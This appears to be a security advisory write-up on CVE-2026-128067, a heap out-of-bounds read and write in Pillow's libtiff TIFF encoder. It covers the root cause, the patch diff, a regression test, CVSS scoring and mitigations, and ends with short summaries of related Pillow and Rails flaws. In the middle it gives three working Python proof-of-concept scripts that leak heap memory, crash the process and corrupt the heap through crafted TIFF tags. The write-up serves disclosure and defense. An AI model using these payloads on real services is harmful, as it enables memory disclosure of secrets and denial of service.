Nov 13, 2026·10 min read·0 visits
Pillow versions 2.3.0 through 12.3.0 allow caller-supplied TIFF tags (ImageWidth, ImageLength, SamplesPerPixel) to override libtiff encoder geometry while allocating the scanline buffer from the actual image size. This causes an out-of-bounds heap read (leaking memory into the output TIFF or crashing the process) and an out-of-bounds heap write when TIFF Predictor 2 is active. Fixed in Pillow 13.0.0.
CVE-2026-128067 is a memory corruption vulnerability in Pillow (versions 2.3.0 through 12.3.0) occurring when saving compressed TIFF images via the underlying libtiff encoder. By supplying crafted image geometry tags through exif=, tiffinfo=, or a source TIFF IFD, an attacker can override the scanline dimensions configured in libtiff while Pillow allocates the internal row buffer based strictly on the physical image dimensions. This mismatch induces an out-of-bounds heap read during scanline encoding, and escalates to an out-of-bounds heap write when TIFF Predictor 2 (horizontal differencing) is enabled.
Pillow (python-pillow/Pillow) is the primary image processing library for the Python ecosystem, providing file format support and internal image representation across Python applications. For Tagged Image File Format (TIFF) operations requiring compression (such as LZW, Deflate, or Adobe Deflate) or explicit configuration via TiffImagePlugin.WRITE_LIBTIFF = True, Pillow delegates encoding operations from its Python plugin layer (src/PIL/TiffImagePlugin.py) to a native C extension (src/libImaging/TiffDecode.c) linked against libtiff.
In Pillow versions 2.3.0 through 12.3.0, a state desynchronization exists between how Pillow allocates internal scanline buffers and how it configures libtiff field tags during TiffImagePlugin._save. When an application saves an image and passes metadata dictionaries via the exif= or tiffinfo= parameters—or preserves tags from a source TIFF Image File Directory (IFD)—caller-controlled geometry tags override the true dimensions of the Image object prior to invoking TIFFSetField.
This discrepancy triggers both Out-of-bounds Read (CWE-125) and Out-of-bounds Write (CWE-787) conditions inside ImagingLibTiffEncode. While Pillow allocates a row buffer (state->buffer) sized exclusively to the physical dimensions of the in-memory raster, libtiff computes the scanline size using the overridden metadata tags (ImageWidth, ImageLength, SamplesPerPixel).
Consequently, TIFFWriteScanline reads past the boundaries of state->buffer. In standard compression modes, this leaks trailing heap memory directly into the compressed TIFF output stream or triggers a segmentation fault (SIGSEGV) if an unmapped page boundary is crossed. When combined with TIFF tag Predictor = 2 (horizontal differencing), libtiff performs in-place arithmetic across the oversized scanline, corrupting adjacent heap memory beyond the allocated buffer.
The vulnerability originates from an incomplete tag validation model in src/PIL/TiffImagePlugin.py combined with an unguarded buffer read in src/libImaging/TiffDecode.c. During the execution of TiffImagePlugin._save, Pillow constructs a dictionary of TIFF attributes (atts) that are subsequently passed into the C encoder to configure the TIFF* handle via TIFFSetField.
Historically, Pillow explicitly locked the BITSPERSAMPLE tag to the internal image representation, preventing user overrides. However, critical geometry and layout parameters—specifically IMAGEWIDTH (tag 256), IMAGELENGTH (tag 257), and PLANAR_CONFIGURATION (tag 284)—were populated from im.size initially and then overwritten when merging caller-provided tags from tiffinfo, exif, or the existing IFD. Additionally, for single-band image modes such as 8-bit grayscale (L), Pillow omitted setting SAMPLESPERPIXEL (tag 277) entirely, allowing external metadata to define the sample count per pixel.
Simultaneously, Pillow's core C encoding initializer (encode.c) calculates the size of the per-row scanline buffer (state->buffer) based strictly on the immutable internal Imaging struct geometry:
$$\text{state->bytes} = \frac{\text{state->bits} \times \text{state->xsize} + 7}{8}$$
When ImagingLibTiffEncode enters its encoding loop, it unpacks a single row of pixel data into state->buffer using state->shuffle and passes that pointer to TIFFWriteScanline(tiff, (tdata_t)(state->buffer), (uint32_t)state->y, 0). Internally, libtiff determines how many bytes to consume from state->buffer by evaluating TIFFScanlineSize(tiff), which computes the byte length from the active TIFF tags:
$$\text{TIFFScanlineSize} = \text{IMAGEWIDTH} \times \text{SAMPLESPERPIXEL} \times \frac{\text{BITSPERSAMPLE}}{8}$$
When an attacker inflates IMAGEWIDTH or SAMPLESPERPIXEL via metadata, TIFFScanlineSize(tiff) exceeds state->bytes. libtiff then reads TIFFScanlineSize(tiff) - state->bytes bytes of out-of-bounds heap memory per scanline. Furthermore, if PREDICTOR (tag 317) is set to 2, libtiff executes its horizontal differencing predictor callback (horAcc8, horAcc16, etc.) directly on the input buffer prior to compression, calculating bp[i] = bp[i] - bp[i - stride] across the entire tag-derived scanline length and overwriting adjacent heap chunks in place.
The remediation implemented in commits ec5f1cbcf67275641abaad5c065ffb64a0a804a9 and 53318b50e8e9e85a57d033d4d879e1398d97aeb1 applies defense-in-depth across both the C extension and the Python plugin layer. In src/libImaging/TiffDecode.c, the function ImagingLibTiffEncode previously began processing scanlines immediately upon checking state->state == 0, assuming that the libtiff state matched state->bytes.
The patch introduces an explicit bounds verification using TIFFScanlineSize64(tiff) before entering the scanline encoding loop. If the scanline size required by libtiff exceeds the allocated row buffer size (state->bytes), the encoder aborts immediately and returns IMAGING_CODEC_CONFIG (which raises OSError: encoder error -8 in Python):
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -792,6 +792,14 @@ ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8 *buffer, int byt
TIFF *tiff = clientstate->tiff;
if (state->state == 0) {
+ // state->buffer holds one row of the image, but TIFFWriteScanline reads
+ // a scanline of the size described by the IMAGEWIDTH, SAMPLESPERPIXEL
+ // and BITSPERSAMPLE tags, so these must not describe a larger row.
+ if (TIFFScanlineSize64(tiff) > (uint64_t)state->bytes) {
+ state->errcode = IMAGING_CODEC_CONFIG;
+ return -1;
+ }
+
// Encoding line by line
while (state->y < state->ysize) {
state->shuffle(To validate that oversized geometry tags are rejected at runtime, the upstream patch added parameterized regression tests in Tests/test_file_libtiff.py. These tests verify that attempting to override IMAGEWIDTH or SAMPLESPERPIXEL with values exceeding the physical row allocation triggers the encoder error -8 exception:
@pytest.mark.parametrize(
"tiffinfo",
(
{TiffImagePlugin.IMAGEWIDTH: 1 << 27},
{TiffImagePlugin.SAMPLESPERPIXEL: 3},
),
)
def test_geometry_tags(
self, tiffinfo: dict[int, int], monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
# libtiff reads a scanline of the size described by the IMAGEWIDTH,
# SAMPLESPERPIXEL and BITSPERSAMPLE tags from a buffer that only holds one
# row of the image, so a tag describing a larger row must be rejected.
monkeypatch.setattr(TiffImagePlugin, "WRITE_LIBTIFF", True)
out = tmp_path / "temp.tif"
im = hopper("L")
with pytest.raises(OSError, match="encoder error -8"):
im.save(out, tiffinfo=tiffinfo)> [!NOTE]
> Fix Completeness Assessment: The check TIFFScanlineSize64(tiff) > (uint64_t)state->bytes in TiffDecode.c acts as a hard invariant at the C boundary, ensuring that even if Python-level tag filtering in TiffImagePlugin.py is bypassed or modified in future versions, TIFFWriteScanline cannot read or write past state->buffer. Note that a smaller scanline (TIFFScanlineSize64(tiff) < (uint64_t)state->bytes, such as when PlanarConfiguration = 2 is carried over) does not cause out-of-bounds memory access, as libtiff merely reads a subset of the allocated buffer.
Exploitation requires an application to save an image as a compressed TIFF (or with WRITE_LIBTIFF enabled) while passing untrusted metadata via exif=, tiffinfo=, or by re-saving an untrusted source TIFF whose IFD tags are preserved. Depending on the specific tags injected by the attacker, three distinct exploitation primitives can be achieved: heap memory disclosure, denial of service via process crash, or heap memory corruption.
To extract heap memory into the output file without crashing the process, an attacker can target a small grayscale (L mode, 1 byte per pixel) image and supply metadata overriding SamplesPerPixel (tag 277) to 3 and PhotometricInterpretation (tag 262) to 2 (RGB). For a $64 \times 64$ image, Pillow allocates a 64-byte state->buffer, whereas libtiff expects $64 \times 3 = 192$ bytes per scanline:
from PIL import Image
# 64x64 grayscale image -> state->bytes = 64 bytes
im = Image.new("L", (64, 64), color=0)
# Override SamplesPerPixel to 3 -> TIFFScanlineSize = 192 bytes
exif_payload = {
277: 3, # SamplesPerPixel
262: 2, # PhotometricInterpretation = RGB
}
# Saves 64 bytes of image data + 128 bytes of adjacent heap data per row
im.save("leak.tif", format="TIFF", exif=exif_payload, compression="tiff_lzw")When leak.tif is returned to the attacker and decoded, the last 128 bytes of every scanline contain raw heap memory residing immediately after state->buffer, potentially exposing cryptographic keys, session tokens, or adjacent application data.
By supplying an arbitrarily large ImageWidth (tag 256), TIFFScanlineSize expands to megabytes or gigabytes. When TIFFWriteScanline attempts to read sequentially across the heap from the 64-byte buffer, it immediately crosses into an unmapped guard page or exceeds the process address space, terminating the Python interpreter with SIGSEGV or SIGBUS:
from PIL import Image
im = Image.new("L", (64, 64), color=0)
tiffinfo_payload = {
256: 1 << 27 # ImageWidth = 134,217,728 bytes per row
}
im.save("crash.tif", format="TIFF", tiffinfo=tiffinfo_payload, compression="tiff_lzw")By combining an enlarged ImageWidth or SamplesPerPixel with Predictor = 2 (tag 317), libtiff executes horizontal differencing in place on state->buffer before LZW or Deflate compression. Each byte past the first pixel stride is subtracted from its predecessor (bp[i] -= bp[i - stride]):
from PIL import Image
im = Image.new("L", (64, 64), color=0)
tiffinfo_payload = {
256: 256, # ImageWidth = 256 bytes (192 bytes past buffer end)
317: 2, # Predictor = 2 (Horizontal differencing)
}
im.save("corrupt.tif", format="TIFF", tiffinfo=tiffinfo_payload, compression="tiff_lzw")In this scenario, 192 bytes of adjacent heap memory following state->buffer are mutated on every scanline iteration (state->y from 0 to 63), corrupting heap chunk headers or adjacent C/Python object structures.
CVE-2026-128067 is rated 8.4 (High) under CVSS v4.0 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N). The Attack Requirements (AT:P) metric reflects that the vulnerable code path is only reachable if the target application invokes .save() with libtiff compression enabled (e.g., tiff_lzw, tiff_deflate, tiff_adobe_deflate) and passes untrusted metadata or preserves an untrusted source TIFF IFD.
Confidentiality impact on the vulnerable system is High (VC:H). Web applications, document conversion pipelines, or media transcoding services that return the re-encoded TIFF file to the user allow unauthenticated attackers to read arbitrary trailing heap memory from the Python worker process. Because state->buffer is dynamically allocated on the heap via malloc, adjacent chunks frequently contain sensitive remnants from prior requests, database queries, or internal Python PyObject structures.
Availability impact is similarly High (VA:H), as a single request containing an inflated ImageWidth tag reliably crashes the worker process via an unhandled segmentation fault, bypassing Python exception handlers completely.
Integrity impact is rated Low (VI:L) in the base assessment because the out-of-bounds write primitive via Predictor 2 does not write arbitrary attacker-controlled bytes directly; instead, it performs cumulative modular subtraction (bp[i] -= bp[i - stride]) on existing heap values. While this reliably corrupts heap metadata and induces crashes, turning a subtraction-based transform into reliable arbitrary code execution requires precise heap feng shui to target specific function pointers or object size fields without triggering heap allocator abort checks.
The primary remediation is to upgrade Pillow to version 13.0.0 or later, which includes both the C-level scanline size assertion (TIFFScanlineSize64(tiff) > (uint64_t)state->bytes) and Python-level geometry tag pinning.
pip install --upgrade "pillow>=13.0.0"For environments where upgrading to Pillow 13.0.0 cannot be performed immediately, developers must implement strict tag sanitization at the application layer before calling Image.save() on TIFF files. Specifically, any untrusted exif or tiffinfo dictionary—as well as im.tag_v2 on opened TIFF images—must be stripped of tags that dictate scanline sizing or in-place buffer transformations:
FORBIDDEN_TIFF_TAGS = {
256, # ImageWidth
257, # ImageLength
258, # BitsPerSample
277, # SamplesPerPixel
284, # PlanarConfiguration
317, # Predictor
}
def sanitize_tiff_metadata(tag_dict):
if not tag_dict:
return {}
return {k: v for k, v in tag_dict.items() if k not in FORBIDDEN_TIFF_TAGS}
# Sanitize caller-supplied dictionaries and existing IFD tags before saving
clean_exif = sanitize_tiff_metadata(user_supplied_exif)
clean_tiffinfo = sanitize_tiff_metadata(user_supplied_tiffinfo)
if hasattr(image, "tag_v2") and image.tag_v2:
for tag in FORBIDDEN_TIFF_TAGS:
image.tag_v2.pop(tag, None)
image.save(
destination,
format="TIFF",
compression="tiff_lzw",
exif=clean_exif,
tiffinfo=clean_tiffinfo,
)Additionally, if TIFF compression is not strictly required by downstream consumers, applications can avoid invoking the libtiff C encoder altogether by saving uncompressed TIFF files (compression="raw" with TiffImagePlugin.WRITE_LIBTIFF = False), which uses Pillow's native Python/raw encoder path rather than ImagingLibTiffEncode.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Pillow python-pillow | >= 2.3.0, <= 12.3.0 | 13.0.0 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-128067 / GHSA-xcvg-w56q-r89m |
| Weakness Class | CWE-787 (Out-of-bounds Write) / CWE-125 (Out-of-bounds Read) |
| CVSS v4.0 Score | 8.4 HIGH (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N) |
| Affected Component | Pillow TiffImagePlugin._save & ImagingLibTiffEncode (TiffDecode.c) |
| Affected Versions | Pillow >= 2.3.0, <= 12.3.0 |
| Patched Version | Pillow 13.0.0 |
| Impact | Heap memory disclosure into output TIFF, process crash (DoS), and heap corruption |
| Exploit Status | Proof-of-Concept Verified (Not in CISA KEV) |
The software writes data past the end, or before the beginning, of the intended buffer.
CVE-2026-128066 (GHSA-wqgw-9xfh-qf2g) is a resource allocation vulnerability (CWE-770) in the Python Pillow imaging library affecting versions 1.0 through 12.3.0. The flaw resides in the ImageFileDirectory_v2.load() method within src/PIL/TiffImagePlugin.py, which processes Tag Image File Format (TIFF) structures and Exchangeable Image File Format (EXIF) metadata across multiple container formats. By supplying an image with thousands of IFD tag entries that point to overlapping or identical file offsets, an attacker can trigger quadratic memory amplification (O(N * filesize)). Because the vulnerability occurs during metadata parsing rather than pixel decoding, it bypasses Pillow's built-in decompression bomb protections (Image.MAX_IMAGE_PIXELS).
CVE-2026-126081 is a mass-assignment vulnerability (CWE-915) in the Action Pack component of Ruby on Rails. Prior to versions 8.1.4.1 and 8.0.5.2, the ActionController::Parameters#each_key method was delegated directly to the internal ActiveSupport::HashWithIndifferentAccess instance holding raw request parameters. When invoked with a block, #each_key returned the underlying unpermitted hash rather than the ActionController::Parameters wrapper instance. Applications that pass the return value of #each_key directly into Active Model mass-assignment methods bypass Strong Parameters enforcement, allowing attackers to modify restricted model attributes.
A vulnerability classified under CWE-345 (Insufficient Verification of Data Authenticity) exists in the Active Storage component of Ruby on Rails prior to versions 8.1.4.1 and 8.0.5.2. When Google Cloud Storage (GCS) is configured as the storage backend with the cache_control option enabled, Active Storage switches from GCS V2 signing to V4 signing for direct upload URLs. Because the V4 signing implementation only binds the Cache-Control and Host headers, the Content-Type and Content-MD5 headers remain unsigned. An attacker can modify the Content-Type header during a direct upload request to store HTML or SVG files with active JavaScript on the GCS bucket origin, enabling Service Worker registration and interception of subsequent signed URL responses within the bucket path.
A Cross-Site Scripting (XSS) vulnerability exists in Ruby on Rails Action View prior to versions 8.0.5.2 and 8.1.4.1. When applications use the default HTML5 sanitizer (Rails::HTML5::Sanitizer) with Nokogiri versions prior to 1.19.5, angle brackets (< and >) inside HTML attribute values are serialized unescaped. Action View text helpers—specifically highlight and simple_format—perform string-based manipulations on the sanitized HTML rather than operating on the DOM tree. An unescaped '>' character or a double newline ('\n\n') inside an attribute value causes these helpers to misidentify tag or paragraph boundaries, breaking out of the attribute context and emitting inert attribute contents as live HTML elements in the final html_safe output.
CVE-2026-126070 is a Cross-Site Scripting (XSS) vulnerability in the Action View component of Ruby on Rails. Prior to versions 8.0.5.2 and 8.1.4.1, the strip_tags helper returned sanitized output marked as html_safe without encoding single or double quotation marks. When applications render the output of strip_tags inside quoted HTML attributes in ERB templates, attackers can break out of the attribute context and inject arbitrary HTML attributes or JavaScript event handlers.
CVE-2026-126078 is a Cross-Site Scripting (XSS) vulnerability classified under CWE-79 affecting the Action View component of Ruby on Rails in versions prior to 8.0.5.2 and 8.1.4.1. The vulnerability resides in the ActionView::Helpers::TextHelper#highlight method when invoked with a custom :highlighter template that places capture group placeholders inside HTML attribute values. Because matched substrings are substituted without HTML escaping after initial sanitization preserves literal quotation marks, an attacker controlling the input text or target search phrase can break out of the surrounding attribute delimiter and inject arbitrary HTML attributes or JavaScript event handlers.